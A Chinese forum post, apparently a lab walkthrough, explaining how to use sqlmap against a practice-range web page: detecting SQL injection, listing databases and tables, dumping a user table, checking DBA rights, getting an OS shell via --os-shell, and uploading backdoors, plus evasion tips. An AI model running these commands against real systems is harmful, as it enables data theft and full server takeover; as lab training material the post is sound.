-
-
【注入工具】SQLmap实践手册基础
-
发表于: 2021-6-16 08:31 3322
-
靶场环境
66fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0f1&6i4K6u0W2y4U0y4Q4x3X3f1J5x3o6m8Q4x3X3f1%4z5g2)9K6b7e0R3^5x3o6c8Q4x3V1k6K6K9h3&6Y4L8r3g2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6p5`.
明显存在sql注入
基础实践sqlmap形式
工具安装地址:f49K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6K6M7h3I4E0j5i4m8H3M7X3!0B7k6h3y4@1i4K6u0r3M7%4q4D9L8h3q4H3
sqlmap实战
探测出含有的注入类型
1sqlmap
-
u http:
/
/
59.63
.
200.79
:
8804
/
single.php?
id
=
1
-
-
batch
-
-
threads
=
10
查库
1sqlmap
-
u http:
/
/
59.63
.
200.79
:
8804
/
single.php?
id
=
1
-
-
dbs
-
-
batch
-
-
threads
=
10
12-

-

查表
1sqlmap
-
u http:
/
/
59.63
.
200.79
:
8804
/
single.php?
id
=
1
-
D cake
-
-
tables
-
-
batch
-
-
threads
=
10
查值
1sqlmap
-
u http:
/
/
59.63
.
200.79
:
8804
/
single.php?
id
=
1
-
D cake
-
T user
-
-
dump
-
-
batch
-
-
threads
=
10
扫不出后台地址,试试能不能直接getshell
测试 --is-dba
1sqlmap
-
u http:
/
/
59.63
.
200.79
:
8804
/
single.php?
id
=
1
-
-
is
-
dba
-
-
batch
-
-
threads
=
10
绝对路径 把is-dba改成--sql-shell
直接 把--sql-shell改成os-shell拿到shell了
基础命令
一、查看数据库相关信息
- --current-user 枚举当前用户
- --current-db 枚举当前数据库
- --dbs 枚举当前可用数据库
- --is-dba 枚举当前数据库权限
- --password 枚举当前数据库用户密码
二、指纹识别
- -f 启用广泛的指纹识别
- -b 检测数据库指纹
- --hostname 枚举主机名称
三、Waf识别
- --identify-waf 检测waf信息
四、sqlmap更新
- --update 更新
1 2 3 4 5 | 小知识 如果网页是http: / / 59.63 . 200.79 : 8804 / single.php / id / 1.html 可能存在伪静态 也可以在javascript中 使用 alert(document.lastModified) 直接正常注入就行 sqlmap.py - u http: / / 59.63 . 200.79 : 8804 / single.php / id / 1.html |
常见的注入方式
基本操作上面已经写了。其他百度
Cookie注入
1-
-
cookie
"id=2"
Post注入
使用
1-
-
forms 自动搜索表单信息
请求延时注入
1-
-
delay
1
等级 1-5
123-
-
level
5
2
级以上会尝试cookie
3
级以上就对head注入
自动更换请求头
12-
-
user
-
agent
防止被人工办了
获取表中的数量
1-
-
count
风险等级
12-
-
risk
3
大于
2
就开始
or
updatexml进行测试,可能造成更新整个表。
--sql-shell 数据库操作
--os-shell 系统操作
1234567条件
一、测试
-
-
is
-
dba必须是true
二、需要知道绝对路径,利用
-
-
sql
-
shell
三、GPC为off,php主动转义的功能关闭
四、secure_file
-
priv为空
可以自动生成,上传脚本文件、后门文件
赞赏
他的文章
- 【封神台】前端渗透 XSS wp 3061
- 【封神台】Upload-Labs wp 2000
- 【封神台】Sql-Labs wp 1773
赞赏
雪币:
留言: